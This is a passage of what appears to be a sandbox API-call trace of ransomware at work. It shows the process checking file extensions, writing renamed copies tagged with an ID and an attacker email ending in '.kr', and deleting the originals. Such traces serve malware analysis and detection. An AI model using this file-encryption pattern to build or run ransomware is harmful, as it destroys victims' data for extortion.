office\\root\\clipart\\pub60cor\\j0107492.wmf")) returned 1 [0213.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.033] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.033] lstrlenW (lpString=".doc") returned 4 [0213.033] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.033] lstrlenW (lpString=".docx") returned 5 [0213.033] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.033] lstrlenW (lpString=".pdf") returned 4 [0213.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString=".xls") returned 4 [0213.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.034] lstrlenW (lpString=".xlsx") returned 5 [0213.034] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.034] lstrlenW (lpString=".ppt") returned 4 [0213.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.034] lstrlenW (lpString=".zip") returned 4 [0213.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.034] lstrlenW (lpString=".rar") returned 4 [0213.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString=".bz2") returned 4 [0213.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString=".7z") returned 3 [0213.034] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.034] lstrlenW (lpString=".dbf") returned 4 [0213.034] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.034] lstrlenW (lpString=".1cd") returned 4 [0213.034] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.034] lstrlenW (lpString=".jpg") returned 4 [0213.034] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.034] lstrlenW (lpString=".doc") returned 4 [0213.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.034] lstrlenW (lpString=".docx") returned 5 [0213.034] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0213.034] lstrlenW (lpString=".pdf") returned 4 [0213.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.035] lstrlenW (lpString=".xls") returned 4 [0213.035] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.035] lstrlenW (lpString=".xlsx") returned 5 [0213.035] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0213.035] lstrlenW (lpString=".ppt") returned 4 [0213.035] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.035] lstrlenW (lpString=".zip") returned 4 [0213.035] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.035] lstrlenW (lpString=".rar") returned 4 [0213.035] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.035] lstrlenW (lpString=".bz2") returned 4 [0213.035] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.035] lstrlenW (lpString=".7z") returned 3 [0213.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.035] lstrlenW (lpString=".dbf") returned 4 [0213.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.035] lstrlenW (lpString=".1cd") returned 4 [0213.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107492.WMF") returned 68 [0213.035] lstrlenW (lpString=".jpg") returned 4 [0213.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.035] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.035] lstrlenW (lpString="J0107494.WMF") returned 12 [0213.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.036] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=6424) returned 1 [0213.036] CloseHandle (hObject=0x564) returned 1 [0213.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 0x220 [0213.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.037] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.037] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.037] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.038] GetLastError () returned 0x0 [0213.038] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1918, lpOverlapped=0x0) returned 1 [0213.040] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1920, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1920, lpOverlapped=0x0) returned 1 [0213.041] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.041] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0213.041] SetEndOfFile (hFile=0x4d8) returned 1 [0213.041] CloseHandle (hObject=0x4d8) returned 1 [0213.041] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.041] SetEndOfFile (hFile=0x564) returned 1 [0213.043] CloseHandle (hObject=0x564) returned 1 [0213.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.044] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107494.wmf")) returned 1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.045] lstrlenW (lpString=".doc") returned 4 [0213.045] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.045] lstrlenW (lpString=".docx") returned 5 [0213.045] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.045] lstrlenW (lpString=".pdf") returned 4 [0213.045] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.045] lstrlenW (lpString=".xls") returned 4 [0213.045] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.045] lstrlenW (lpString=".xlsx") returned 5 [0213.045] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.045] lstrlenW (lpString=".ppt") returned 4 [0213.045] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.045] lstrlenW (lpString=".zip") returned 4 [0213.045] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.045] lstrlenW (lpString=".rar") returned 4 [0213.045] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.045] lstrlenW (lpString=".bz2") returned 4 [0213.045] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.045] lstrlenW (lpString=".7z") returned 3 [0213.045] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.045] lstrlenW (lpString=".dbf") returned 4 [0213.045] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.045] lstrlenW (lpString=".1cd") returned 4 [0213.045] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.045] lstrlenW (lpString=".jpg") returned 4 [0213.045] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.046] lstrlenW (lpString=".doc") returned 4 [0213.046] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString=".docx") returned 5 [0213.046] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0213.046] lstrlenW (lpString=".pdf") returned 4 [0213.046] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString=".xls") returned 4 [0213.046] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.046] lstrlenW (lpString=".xlsx") returned 5 [0213.046] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0213.046] lstrlenW (lpString=".ppt") returned 4 [0213.046] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.046] lstrlenW (lpString=".zip") returned 4 [0213.046] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.046] lstrlenW (lpString=".rar") returned 4 [0213.046] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString=".bz2") returned 4 [0213.046] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString=".7z") returned 3 [0213.046] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.046] lstrlenW (lpString=".dbf") returned 4 [0213.046] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.046] lstrlenW (lpString=".1cd") returned 4 [0213.046] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107494.WMF") returned 68 [0213.046] lstrlenW (lpString=".jpg") returned 4 [0213.046] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.047] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.047] lstrlenW (lpString="J0107496.WMF") returned 12 [0213.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.047] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=8864) returned 1 [0213.047] CloseHandle (hObject=0x564) returned 1 [0213.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 0x220 [0213.048] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.048] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.048] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.048] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.049] GetLastError () returned 0x0 [0213.049] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x22a0, lpOverlapped=0x0) returned 1 [0213.050] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x22b0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x22b0, lpOverlapped=0x0) returned 1 [0213.051] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.052] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0213.052] SetEndOfFile (hFile=0x4d8) returned 1 [0213.052] CloseHandle (hObject=0x4d8) returned 1 [0213.052] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.052] SetEndOfFile (hFile=0x564) returned 1 [0213.054] CloseHandle (hObject=0x564) returned 1 [0213.055] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0213.055] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107496.wmf")) returned 1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.057] lstrlenW (lpString=".doc") returned 4 [0213.057] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString=".docx") returned 5 [0213.057] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0213.057] lstrlenW (lpString=".pdf") returned 4 [0213.057] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString=".xls") returned 4 [0213.057] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.057] lstrlenW (lpString=".xlsx") returned 5 [0213.057] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0213.057] lstrlenW (lpString=".ppt") returned 4 [0213.057] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.057] lstrlenW (lpString=".zip") returned 4 [0213.057] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.057] lstrlenW (lpString=".rar") returned 4 [0213.057] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString=".bz2") returned 4 [0213.057] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString=".7z") returned 3 [0213.057] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.057] lstrlenW (lpString=".dbf") returned 4 [0213.057] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.057] lstrlenW (lpString=".1cd") returned 4 [0213.057] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.057] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.058] lstrlenW (lpString=".jpg") returned 4 [0213.058] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.058] lstrlenW (lpString=".doc") returned 4 [0213.058] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString=".docx") returned 5 [0213.058] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0213.058] lstrlenW (lpString=".pdf") returned 4 [0213.058] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString=".xls") returned 4 [0213.058] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0213.058] lstrlenW (lpString=".xlsx") returned 5 [0213.058] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0213.058] lstrlenW (lpString=".ppt") returned 4 [0213.058] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.058] lstrlenW (lpString=".zip") returned 4 [0213.058] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0213.058] lstrlenW (lpString=".rar") returned 4 [0213.058] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString=".bz2") returned 4 [0213.058] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString=".7z") returned 3 [0213.058] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0213.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.058] lstrlenW (lpString=".dbf") returned 4 [0213.058] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.058] lstrlenW (lpString=".1cd") returned 4 [0213.058] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0213.058] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107496.WMF") returned 68 [0213.059] lstrlenW (lpString=".jpg") returned 4 [0213.059] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0213.059] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0213.059] lstrlenW (lpString="J0107500.WMF") returned 12 [0213.059] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.059] GetFileSizeEx (in: hFile=0x564, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4200) returned 1 [0213.059] CloseHandle (hObject=0x564) returned 1 [0213.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 0x220 [0213.060] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0213.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x564 [0213.060] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.060] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.060] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4d8 [0213.061] GetLastError () returned 0x0 [0213.061] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x1068, lpOverlapped=0x0) returned 1 [0213.352] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x1070, lpOverlapped=0x0) returned 1 [0213.353] ReadFile (in: hFile=0x564, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0213.353] WriteFile (in: hFile=0x4d8, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0213.353] SetEndOfFile (hFile=0x4d8) returned 1 [0213.353] CloseHandle (hObject=0x4d8) returned 1 [0213.353] SetFilePointerEx (in: hFile=0x564, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0213.353] SetEndOfFile (hFile=0x564) returned 1 [0213.356] CloseHandle (hObject=0x564) returned 1 [0213.356] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0214.139] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0107500.wmf")) returned 1 [0214.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.433] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0107500.WMF") returned 68 [0214.433] lstrlenW (lpString=".doc") returned 4 [0214.433] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0214.433] lstrlenW (lpString=".docx") returned 5 [0214.434] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0214.434] lstrlenW (lpString=".pdf") returned 4 [0214.434] lstrcmpiW (lpString1=".pdf", 